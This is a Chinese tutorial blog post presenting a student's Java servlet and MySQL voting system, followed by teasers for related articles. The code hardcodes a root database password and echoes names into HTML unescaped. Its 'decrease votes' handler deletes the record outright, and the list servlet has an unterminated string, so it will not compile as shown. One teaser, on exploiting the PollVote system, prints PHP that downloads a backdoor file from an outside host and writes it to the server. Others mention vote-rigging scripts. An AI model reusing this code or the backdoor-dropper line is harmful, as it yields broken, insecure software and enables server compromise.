javaweb实现投票系统

本文实例为大家分享了javaweb实现投票系统的具体代码,供大家参考,具体内容如下

这次给大家带来一个课堂基础作业,简单的javaweb投票系统。

当然也设计了添加投票人的接口,只是list页面没有直接导航过去。
如页面显示,可以增加和减少相应的票数。同时id是利用数据库该字段作为主键自增的。 name 和头像都是上传的,由mysql数据库存储照片名然后再自动寻找到。票数是直接由user_votes存储使用。

接下来带来关键代码。

//这是类User_list
package com.example.user_votes;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Driver;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

@WebServlet("/list")
public class User_list extends HelloServlet{
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //连接数据库,获取所有的用户信息
        //创建一个用户对象
        List<User> userlist = new ArrayList<User>();
        try {
            //        1.加载驱动程序
//            DriverManager.registerDriver(new com.mysql.cj.jdbc.Driver());
            Class.forName("com.mysql.cj.jdbc.Driver");
//        2.创建数据库连接
            String url = "jdbc:mysql://localhost:3306/java_test?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC";
            String jdbcuser = "root";
            String jdbcpwd = "500400";
            Connection conn = DriverManager.getConnection(url, jdbcuser, jdbcpwd);
//        3.创建语句对象
            Statement stmt = conn.createStatement();
//        4.执行sql
//                被注释的代码是插入数据
            String  sql ="SELECT * from user_votes";
            //动态操作
            ResultSet rows = stmt.executeQuery(sql);
//        5.处理结果 rows.next() 用于遍历rows对象集
            while(rows.next()){
                User user = new User();
                user.setId(rows.getInt("id"));
                user.setName(rows.getString("user_name"));
                user.setUrl(rows.getString("url"));
                user.setVotes(Integer.parseInt(rows.getString("votes")));
                userlist.add(user);

            }
//        6.关闭语句对象,数据库连接rows.close()关闭row对象集
            rows.close();
            stmt.clearBatch();
            conn.close();

        } catch (Exception e) {
            System.out.println("获取用户列表失败" + e.getMessage());
            e.printStackTrace();
        }

        //返回响应,以表格的方式显示所有用户
        resp.setContentType("text/html");
        resp.setCharacterEncoding("utf-8");
        PrintWriter out =resp.getWriter();
        out.println("<html><head><title>投票系统</title></head><body>");
        if (userlist.size()>0){
            out.println("<table>");
            out.println("<caption></caption>");
            out.println("<tr>");
            out.println("<th>id</th>");
            out.println("<th style=\"\n" +
                    " padding-left: 10px; text-align: left;\n" +
                    "\">Name</th>");
            out.println("<th>照片</th>");
            out.println("<th>votes</th>");
            out.println("<th>操作</th>");
            out.println("</tr>");
            for (User user:userlist){
                out.println("<tr>");
                out.println("<td>"+user.getId()+"</td>");
                out.println("<td>"+"&nbsp&nbsp&nbsp"+user.getName()+"</td>");
                out.println("<td><img width = '30px' height = '30px' src="+"/photo/"+user.getUrl()+".jpg"+"></td>");
                out.println("<td>"+"&nbsp&nbsp&nbsp"+user.getVotes()+"</td>");
                out.println("<td><a href=add?id="+user.getId()+"&votes="+user.getVotes()+">add</a> <a href=delete?id="+user.getId()+"&votes="+user.getVotes()+">删除</a></td>");
                out.println("</tr>");
            }
            out.println("</table>");
            out.println("");
        }else{
            out.println("暂无用户");
        }
        out.println();

        out.println("</body></html>

    } 

}

这一段是用于list页面的展示代码。
同时以下是增减票数的代码。

//这个是增加票数add
package com.example.user_votes;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.*;

@WebServlet("/add")
public class AddUserVotes extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //解析表单数据,获取要添加的用户信
        //        解析请求
        req.setCharacterEncoding("utf-8");
        PrintWriter out = resp.getWriter();
        //使用自己写的User类
        User user = new User();
        user.setId(Integer.parseInt(req.getParameter("id")));
        user.setVotes(Integer.parseInt(req.getParameter("votes")));
//        连接数据库的操作

        try {
            //        1.加载驱动程序
            String driver = "com.mysql.cj.jdbc.Driver";
            Class.forName(driver).newInstance();
//        2.创建数据库连接
            String url = "jdbc:mysql://localhost:3306/java_test?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC";
            String jdbcuser = "root";
            String jdbcpwd = "500400";
            Connection conn = DriverManager.getConnection(url,jdbcuser,jdbcpwd);

//        3.创建语句对象
            //静态的mysql操作语句
//            Statement stmt = conn.createStatement();
//        4.执行sql
            String sql = "UPDATE user_votes SET votes = ? WHERE id = ?";
            PreparedStatement pstmt = conn.prepareStatement(sql);
            //动态操作
            int uservotes = user.getVotes()+1;
            pstmt.setInt(1,uservotes);
            pstmt.setInt(2,user.getId());
            int rows = pstmt.executeUpdate();
//        5.处理结果
            if(rows == 1){
                System.out.println("add成功为:"+uservotes);
            }
            else {
                System.out.println("add失败!");
            }
//        6.关闭语句对象,数据库连接
            pstmt.clearBatch();
            conn.close();

        } catch (Exception e) {
            System.out.println("添加用户失败"+e.getMessage());
            e.printStackTrace();
        };
        resp.setContentType("text/html;charset=UTF-8");
        resp.getWriter().println("<script>alert('投票成功!');window.location.href='list';</script>");

        //跳转到用户列表界面
        resp.sendRedirect("list");

    }
}

减少票数

package com.example.user_votes;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
@WebServlet("/delete")
public class DeleteUserVotes extends HelloServlet{
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //解析表单数据,获取要添加的用户信
        //        解析请求
        req.setCharacterEncoding("utf-8");
        PrintWriter out = resp.getWriter();
        //使用自己写的User类
        User user = new User();
        user.setId(Integer.parseInt(req.getParameter("id")));
        user.setVotes(Integer.parseInt(req.getParameter("votes")));
//        连接数据库的操作

        try {
            //        1.加载驱动程序
            String driver = "com.mysql.cj.jdbc.Driver";
            Class.forName(driver).newInstance();
//        2.创建数据库连接
            String url = "jdbc:mysql://localhost:3306/java_test?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC";
            String jdbcuser = "root";
            String jdbcpwd = "500400";
            Connection conn = DriverManager.getConnection(url,jdbcuser,jdbcpwd);

//        3.创建语句对象
            //静态的mysql操作语句
//            Statement stmt = conn.createStatement();
//        4.执行sql
            String sql = "DELETE FROM user_votes WHERE id = ?";
            PreparedStatement pstmt = conn.prepareStatement(sql);
            //动态操作
            pstmt.setInt(1,user.getId());
            int rows = pstmt.executeUpdate();
//        5.处理结果
            if(rows == 1){
                System.out.println("delete成功为:"+user.getId());
            }
            else {
                System.out.println("delete失败!");
            }
//        6.关闭语句对象,数据库连接
            pstmt.clearBatch();
            conn.close();

        } catch (Exception e) {
            System.out.println("添加用户失败"+e.getMessage());
            e.printStackTrace();
        };
        //跳转到用户列表界面
        resp.sendRedirect("list");
    }
}

添加参与投票的

package com.example.user_votes;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;

public class AddUser extends HelloServlet{
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //解析表单数据,获取要添加的用户信
        //        解析请求
        req.setCharacterEncoding("utf-8");
        PrintWriter out = resp.getWriter();
        //使用自己写的User类
        User user = new User();
        user.setName(req.getParameter("name"));
        user.setUrl(req.getParameter("url"));
        user.setVotes(0);
//        连接数据库的操作

        try {
            //        1.加载驱动程序
            String driver = "com.mysql.cj.jdbc.Driver";
            Class.forName(driver).newInstance();
//        2.创建数据库连接
            String url = "jdbc:mysql://localhost:3306/java_test?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC";
            String jdbcuser = "root";
            String jdbcpwd = "500400";
            Connection conn = DriverManager.getConnection(url,jdbcuser,jdbcpwd);

//        3.创建语句对象
            //静态的mysql操作语句
//            Statement stmt = conn.createStatement();
//        4.执行sql
            String sql = "INSERT INTO user_votes(user_name,url,votes) VALUES(?,?,?)\n";
            PreparedStatement pstmt = conn.prepareStatement(sql);
            //动态操作
            pstmt.setString(1,user.getName());
            pstmt.setString(2,user.getUrl());
            pstmt.setInt(3,user.getVotes());
            int rows = pstmt.executeUpdate();
//        5.处理结果
            if(rows == 1){
                System.out.println("add成功为:"+user.getName());
            }
            else {
                System.out.println("add失败!");
            }
//        6.关闭语句对象,数据库连接
            pstmt.clearBatch();
            conn.close();

        } catch (Exception e) {
            System.out.println("添加用户失败"+e.getMessage());
            e.printStackTrace();
        };
        //跳转到用户列表界面
        resp.sendRedirect("list");

    }
}

该项目没有使用mvc项目结构,就是因为比较简单,因此如果有刚刚学习到这里的可以来看看,参考学习

附上项目目录图,其他的就没有过多的去介绍了,毕竟比较简单。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • SpringBoot结合Vue实现投票系统过程详解

    目录 一.前言介绍 二.需求分析 2.1系统功能结构 2.2功能模块设计 三.系统详细设计 3.1系统登录界面 3.2用户首页模块 3.3参与投票模块 四.管理员功能模块 4.1主界面如下图所示 4.2用户管理 4.3参与投票管理 五.部分核心代码 5.1登录关键代码 5.2用户注册关键代码 5.3参与投票关键代码 5.4取消投票关键代码 一.前言介绍 本系统前端框架采用了比较流行的渐进式JavaScript框架Vue.js.使用Vue-Router和Vuex实现动态路由和全局状态管理,Ajax

  • java实现投票程序设计

    本文实例为大家讲述了java实现投票程序设计代码,分享给大家供大家参考,具体内容如下 运行效果图: 程序如下: import java.awt.*; import java.awt.Event.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.StringTokenizer; import javax.swing.*; public class VoteTest

  • javaweb实现投票系统

    本文实例为大家分享了javaweb实现投票系统的具体代码,供大家参考,具体内容如下 这次给大家带来一个课堂基础作业,简单的javaweb投票系统. 当然也设计了添加投票人的接口,只是list页面没有直接导航过去.如页面显示,可以增加和减少相应的票数.同时id是利用数据库该字段作为主键自增的. name 和头像都是上传的,由mysql数据库存储照片名然后再自动寻找到.票数是直接由user_votes存储使用. 接下来带来关键代码. //这是类User_list package com.exampl

  • php投票系统之增加与删除投票(管理员篇)

    关于投票系统怎么样怎么样的引言就不多说,这不是毕业设计,主要说一下使用php实现投票系统,与其他普通系统一样,分为两部分,一个是管理员部分,一个是普通用户部分. 关于投票系统的管理部分,非常之简单,提供两部分的功能,增加投票与删除投票 关键在于设计好数据库的表,拟定于这样存一个投票,voteparent表存这个投票的标题.描述是否被删除,votechildren表存这个投票的子选项与投票数 一.基本目标 首先投票系统是这样的: 三个链接,点进去能够直接进行相关功能的操作,本文主写管理员部分,普通

  • 简易的投票系统以及js刷票思路和方法

    早就听说有什么刷票脚本,微博投票等等相关的投票都有某些人去刷票. 试一下吧,兴许自己也会刷票呢?捣鼓了几个小时,终于有所眉目. (1)投票系统 要刷票,就得先有个投票界面. 当然,可以直接去各个投票网站就行,不过这里还是自己弄个投票页面,方便自己. 页面大致如下 或者 查看演示 照理,界面很简洁,但也基本有了投票的基本功能. 原始规则是:只能投一次票,然后提示成功,然后按钮不可用. 都是原生JS,DOM操作不灵活的可以借此练练手.当然,用jq将会很便捷. html/css部分 <!DOCTYPE

  • js脚本编写简单刷票投票系统

    本文实例为大家分享了js刷票投票系统的具体代码,供大家参考,具体内容如下 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <meta h

  • PHP投票系统防刷票判断流程分析

    近期,我做了一个娱乐门户的投票系统,也是被刷票搞的焦头烂额,一切可用的方法都用了.但都不是太理想,最终,琢磨出来了下面的方法,我做成了流程图与大家分享.看不懂流程的也不要钻牛角了,本人也不做太多无聊的解释,当然,这个流程只是一个大体的过程,中间还有很多的判断,主要运用的还是session.因为什么验证码什么的,那你别用在互联网投票系统中来吧,没有人去验证,一看就烦了.还是那句话,我的WEB开发笔记中写的全是一些简单的思想性的东西,如果想完善,可以自己扩展.本人没有时间解释.以下的流程图中,一定要

  • php redis实现文章发布系统(用户投票系统)

    本文实例为大家分享了php实现文章发布系统.用户投票系统的具体代码,供大家参考,具体内容如下 /** * @data 文章发布 * 文章详情散列表中递增ID,讲文章发布者ID写入投票用户集合中,设置投票时间为一周 * 讲文章内容写入文章散列中,讲文章写入文章评分有序集合和文章发布有序集合中 * @author Lorne * @date 2017-03-03 */ public function post_article($user){ $VOTE_SCORE = 24; $redis = $t

  • PHP+MySQL实现的简单投票系统实例

    本文实例讲述了PHP+MySQL实现的简单投票系统.分享给大家供大家参考,具体如下: <html> <head><title>手机系统调查问卷</title> <style type="text/css"> <!-- span{ width:600px; height:100px; background-color:write; postion:relative; border:1px #cccccc solid; }

  • PollVote投票系统漏洞利用

    PollVote是一个投票系统,今天看了非安全的杂志,看了利用方法, 不过作者说利用过程的时候很烦琐,关键的时候又没说明白, 简单的说一下`` 首先建立2个文本 分别是creatfile.txt和phpdoor.txt creatfile.txt内容写 <? $f=file_get_contents("http://www.hackeroo.com/phpdoor.txt"); $ff=fopen("111.php","a"); fwrit

  • Android使用RecyclerView实现投票系统

    本文实例为大家分享了Android投票系统的具体代码,供大家参考,具体内容如下 一.创建一个fragment_vote_list.xml用来显示投票的主页面 (1)标题栏使用Toolbar (2)投票区域可以滑动,使用RecyclerView实现 <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/

  • C语言实现投票系统

    本文实例为大家分享了C语言实现投票系统的具体代码,供大家参考,具体内容如下 问题: 某个班级有3个候选人,有6个同学参与投票,而且只能投一个人,要求编写统计选票的程序.先输入候选人名字,再输入同学所投的候选人名字,最后根据每位候选人的得票数排序 思路: 先定义一个学生结构体 stduent,结构体中包含姓名,票数. 同时声明结构数组stu[N - 1],里面存放候选人信息 输入候选人的姓名,开始投票.如果输入的字符串和候选人的姓名一样,就累加. 之后,用冒泡排序.最后输出排完序票数. 个人感觉我

随机推荐